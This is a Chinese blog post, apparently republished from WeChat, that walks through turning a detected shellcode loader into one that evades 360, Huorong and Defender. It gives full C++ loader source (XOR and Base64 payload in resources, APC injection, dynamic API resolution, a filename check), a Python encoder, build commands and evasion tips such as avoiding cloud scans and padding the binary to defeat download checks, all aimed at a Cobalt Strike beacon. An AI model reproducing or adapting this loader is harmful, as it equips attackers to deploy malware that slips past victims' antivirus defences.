admin管理员组

文章数量:1794759

免杀360火绒defender小型项目改

改之前的免杀小型项目,顺便介绍不免杀改到免杀的修改过程,并提供源码(文末)。

技术采用:shellcode经过xor隐藏在资源文件,使用APC加载。

项目共3个文件

  • • python脚本
  • • 资源文件
  • • c++代码

原来的代码(hello.cpp

APC注入函数,不查杀的原因在于典型函数QueueUserAPC暴露,导入表条目过多。

针对这种情况可以采用动态加载函数,这样可以避免在编译时直接链接许多API函数,只在运行时需要时加载它们。这不仅减少了导入表的大小,还增加了代码的隐蔽性。

代码语言:javascript代码运行次数:0运行复制
void shellcode() {
    // Load shellcode from resources
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(SHELLCODE_RESOURCE), RT_RCDATA);
    HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    
    // Copy the shellcode to a modifiable buffer
    char* dataCopy = new char[shellcodeSize];
    memcpy(dataCopy, LockResource(shellcodeResourceData), shellcodeSize);
    
    // XOR Decrypt the shellcode
    char key[] = "0x13";
    int j = 0;
    for (int i = 0; i < shellcodeSize; i++) 
    {
        if (j == sizeof(key) - 1) j = 0;
        dataCopy[i] = dataCopy[i] ^ key[j];
        j++;
    }
    
    // Get the ID of the current process
    DWORD pnameid = GetCurrentProcessId(); 
    
    // Open the current process with all access rights
    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pnameid);
    
    // Allocate memory the size of the shellcode
    PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    
    // Write the shellcode to the remote buffer
    WriteProcessMemory(processHandle, remoteBuffer, dataCopy, shellcodeSize, NULL);
    
    // Get a handle to the main thread
    DWORD mainThreadId = GetCurrentThreadId();
    HANDLE mainThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId);
    
    // Queue the shellcode as an APC to the main thread
    QueueUserAPC((PAPCFUNC)remoteBuffer, mainThreadHandle, NULL);
    
    // Cleanup
    CloseHandle(processHandle);
    CloseHandle(mainThreadHandle);
    delete[] dataCopy;
    
    // Trigger the APC by forcing the main thread to execute an alertable wait state
    SleepEx(0, TRUE);
}

使用动态加载API函数的完整代码(hello2.cpp

通过这种方法,有效减少导入表中的条目数量,增加代码隐蔽性和反检测能力。

代码语言:javascript代码运行次数:0运行复制
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <string>
#include <regex>

#define SHELLCODE_RESOURCE 101
#define MAX_OP 89888996

typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef PVOID(WINAPI* VirtualAllocExFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE(WINAPI* OpenProcessFunc)(DWORD, BOOL, DWORD);
typedef HANDLE(WINAPI* OpenThreadFunc)(DWORD, BOOL, DWORD);
typedef DWORD(WINAPI* QueueUserAPCFunc)(PAPCFUNC, HANDLE, ULONG_PTR);
typedef DWORD(WINAPI* SleepExFunc)(DWORD, BOOL);

void shellcode();

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{
    // Simple sandbox evasion
    char path[MAX_PATH];
    int cpt = 0;
    int i = 0;
    for (i = 0; i < MAX_OP; i++) 
    {
        cpt++;
    }

    if (cpt == MAX_OP)
    {
        GetModuleFileName(NULL, path, MAX_PATH);
        std::regex str_expr("(.*)(hello)(.*)");
        // Check if the file path matches the regular expression pattern
        if (std::regex_match(path, str_expr)) 
        {            
            shellcode();
        }
    }
    return 0;
}

void shellcode() {
    // Load shellcode from resources
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(SHELLCODE_RESOURCE), RT_RCDATA);
    HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    
    // Copy the shellcode to a modifiable buffer
    char* dataCopy = new char[shellcodeSize];
    memcpy(dataCopy, LockResource(shellcodeResourceData), shellcodeSize);
    
    // XOR Decrypt the shellcode
    char key[] = "0x13";
    int j = 0;
    for (int i = 0; i < shellcodeSize; i++) 
    {
        if (j == sizeof(key) - 1) j = 0;
        dataCopy[i] = dataCopy[i] ^ key[j];
        j++;
    }
    
    // Dynamically load required functions
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    OpenProcessFunc OpenProcessPtr = (OpenProcessFunc)GetProcAddress(hKernel32, "OpenProcess");
    VirtualAllocExFunc VirtualAllocExPtr = (VirtualAllocExFunc)GetProcAddress(hKernel32, "VirtualAllocEx");
    WriteProcessMemoryFunc WriteProcessMemoryPtr = (WriteProcessMemoryFunc)GetProcAddress(hKernel32, "WriteProcessMemory");
    OpenThreadFunc OpenThreadPtr = (OpenThreadFunc)GetProcAddress(hKernel32, "OpenThread");
    QueueUserAPCFunc QueueUserAPCPtr = (QueueUserAPCFunc)GetProcAddress(hKernel32, "QueueUserAPC");
    SleepExFunc SleepExPtr = (SleepExFunc)GetProcAddress(hKernel32, "SleepEx");

    // Get the ID of the current process
    DWORD pnameid = GetCurrentProcessId(); 
    
    // Open the current process with all access rights
    HANDLE processHandle = OpenProcessPtr(PROCESS_ALL_ACCESS, FALSE, pnameid);
    
    // Allocate memory the size of the shellcode
    PVOID remoteBuffer = VirtualAllocExPtr(processHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    
    // Write the shellcode to the remote buffer
    WriteProcessMemoryPtr(processHandle, remoteBuffer, dataCopy, shellcodeSize, NULL);
    
    // Get a handle to the main thread
    DWORD mainThreadId = GetCurrentThreadId();
    HANDLE mainThreadHandle = OpenThreadPtr(THREAD_ALL_ACCESS, FALSE, mainThreadId);
    
    // Queue the shellcode as an APC to the main thread
    QueueUserAPCPtr((PAPCFUNC)remoteBuffer, mainThreadHandle, NULL);
    
    // Cleanup
    CloseHandle(processHandle);
    CloseHandle(mainThreadHandle);
    delete[] dataCopy;
    
    // Trigger the APC by forcing the main thread to execute an alertable wait state
    SleepExPtr(0, TRUE);
}

shellcode熵值过高解决(xorencrypt.py

通过测试360发现,依然不免杀,C++代码刚改过了应该没什么问题,丢进DIE,发现rc部分熵值高且显示加壳(如下图),那部分主要是放shellcode, 看来直接用xor不行。(代码略)

使用Base64编码来降低熵值,改为xor+base64后,发现熵值明显减少(如下图):

改后代码如下:

代码语言:javascript代码运行次数:0运行复制
import base64
import sys

def xor_file(input_file, output_file, key):
    try:
        with open(input_file, "rb") as f:
            data = f.read()
    except FileNotFoundError:
        print("File not found:", input_file)
        sys.exit(1)

    key = key.encode("utf-8")
    key_len = len(key)
    encrypted_data = bytearray()

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % key_len]
        encrypted_data.append(current ^ current_key)

    encoded_data = base64.b64encode(encrypted_data)

    with open(output_file, "wb") as f:
        f.write(encoded_data)

    print("File encrypted and saved as", output_file)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python xor_encrypt.py <input_file> <output_file> <key>")
        sys.exit(1)

    input_file = sys.argv[1]
    output_file = sys.argv[2]
    key = sys.argv[3]

    xor_file(input_file, output_file, key)

使用动态加载API函数的部分代码xorbase64(hello3.cpp

代码语言:javascript代码运行次数:0运行复制
...

typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef PVOID(WINAPI* VirtualAllocExFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE(WINAPI* OpenProcessFunc)(DWORD, BOOL, DWORD);
typedef HANDLE(WINAPI* OpenThreadFunc)(DWORD, BOOL, DWORD);
typedef DWORD(WINAPI* QueueUserAPCFunc)(PAPCFUNC, HANDLE, ULONG_PTR);
typedef DWORD(WINAPI* SleepExFunc)(DWORD, BOOL);

...
void shellcode() {
    // Load shellcode from resources
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(SHELLCODE_RESOURCE), RT_RCDATA);
    HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    
    // Copy the shellcode to a modifiable buffer
    char* encodedShellcode = new char[shellcodeSize];
    memcpy(encodedShellcode, LockResource(shellcodeResourceData), shellcodeSize);
    
    // Base64 decode
    std::vector<char> decodedShellcode = Base64Decode(std::string(encodedShellcode, shellcodeSize));
    
    // XOR Decrypt the shellcode
    char key[] = "0x13";
    int j = 0;
    for (size_t i = 0; i < decodedShellcode.size(); i++) 
    {
        if (j == sizeof(key) - 1) j = 0;
        decodedShellcode[i] = decodedShellcode[i] ^ key[j];
        j++;
    }
    
    // Dynamically load required functions
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    OpenProcessFunc OpenProcessPtr = (OpenProcessFunc)GetProcAddress(hKernel32, "OpenProcess");
    VirtualAllocExFunc VirtualAllocExPtr = (VirtualAllocExFunc)GetProcAddress(hKernel32, "VirtualAllocEx");
    WriteProcessMemoryFunc WriteProcessMemoryPtr = (WriteProcessMemoryFunc)GetProcAddress(hKernel32, "WriteProcessMemory");
    OpenThreadFunc OpenThreadPtr = (OpenThreadFunc)GetProcAddress(hKernel32, "OpenThread");
    QueueUserAPCFunc QueueUserAPCPtr = (QueueUserAPCFunc)GetProcAddress(hKernel32, "QueueUserAPC");
    SleepExFunc SleepExPtr = (SleepExFunc)GetProcAddress(hKernel32, "SleepEx");

    // Get the ID of the current process
    DWORD pnameid = GetCurrentProcessId(); 
    
    // Open the current process with all access rights
    HANDLE processHandle = OpenProcessPtr(PROCESS_ALL_ACCESS, FALSE, pnameid);
    
    // Allocate memory the size of the shellcode
    PVOID remoteBuffer = VirtualAllocExPtr(processHandle, NULL, decodedShellcode.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    
    // Write the shellcode to the remote buffer
    WriteProcessMemoryPtr(processHandle, remoteBuffer, decodedShellcode.data(), decodedShellcode.size(), NULL);
    
    // Get a handle to the main thread
    DWORD mainThreadId = GetCurrentThreadId();
    HANDLE mainThreadHandle = OpenThreadPtr(THREAD_ALL_ACCESS, FALSE, mainThreadId);
    
    // Queue the shellcode as an APC to the main thread
    QueueUserAPCPtr((PAPCFUNC)remoteBuffer, mainThreadHandle, NULL);
    
    // Cleanup
    CloseHandle(processHandle);
    CloseHandle(mainThreadHandle);
    delete[] encodedShellcode;
    
    // Trigger the APC by forcing the main thread to execute an alertable wait state
    SleepExPtr(0, TRUE);
}

std::vector<char> Base64Decode(const std::string& encoded) {
    DWORD decodedSize = 0;
    CryptStringToBinaryA(encoded.c_str(), encoded.length(), CRYPT_STRING_BASE64, NULL, &decodedSize, NULL, NULL);
    std::vector<char> decoded(decodedSize);
    CryptStringToBinaryA(encoded.c_str(), encoded.length(), CRYPT_STRING_BASE64, (BYTE*)decoded.data(), &decodedSize, NULL, NULL);
    return decoded;
}

测试下效果

cmd操作命令4条如下:

代码语言:javascript代码运行次数:0运行复制
sgn.exe -i payload_x64.bin -o payload_x64.bin.sgn -a 64 -c 6
python xorAndbase64encrypt.py payload_x64.bin.sgn encrypted.bin 0x13
windres metadata.rc -O coff -o metadata.res
clang++.exe -O2 -Ob2 -Os -g -fno-stack-protector -Xlinker -pdb:none -Xlinker -subsystem:windows -o hello.exe SwiftOptimizer2.cpp metadata.res -luser32 -lkernel32 -fno-unroll-loops -fno-exceptions -fno-rtti

直接丢进机器双击运行,成功上线:

原项目在这里,现在公开代码:

  • • 自用红队加载器过主流杀软已免杀半年

注意事项

  • 不要使用360右键查杀,右键查杀会上传文件,几小时后即被查杀,请直接运行。一般第二天才会被查杀,这是由360非白即黑机制决定的。
  • 不保证其他工具可以用,如果你还没有cs生产环境,可以点下方部署一套。但是千万别说拿着个破cs!
  • 没做反沙箱,请不要往微步上丢。代码main中自带反文件名。
  • 如果需要浏览器下载不被查杀,需取消rc文件中的DUMMY_DATA注释再编译,这将扩充文件大小至20M+规避查杀(如下图)。
  • 免杀火绒或者defender吗?必须的,那都是基本要求。
  • 仅用于红蓝对抗和学习研究,如非法使用,本人概不负责。

dummy.dat采用powershell命令生成

代码语言:javascript代码运行次数:0运行复制
$size = 16MB
$buffer = New-Object byte[] $size
$currentDirectory = Get-Location
$filePath = Join-Path $currentDirectory "dummy.dat"
[System.IO.File]::WriteAllBytes($filePath, $buffer)
  • • Cobaltstrike4.9.1平台高级匿名技术
  • • Cobaltstrike4.9.1平台基础部署手册

若觉得还行欢迎转发分享并评论,感谢支持。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2024-07-19,如有侵权请联系 cloudcommunity@tencent 删除测试函数keynull编译

本文标签: 免杀360火绒defender小型项目改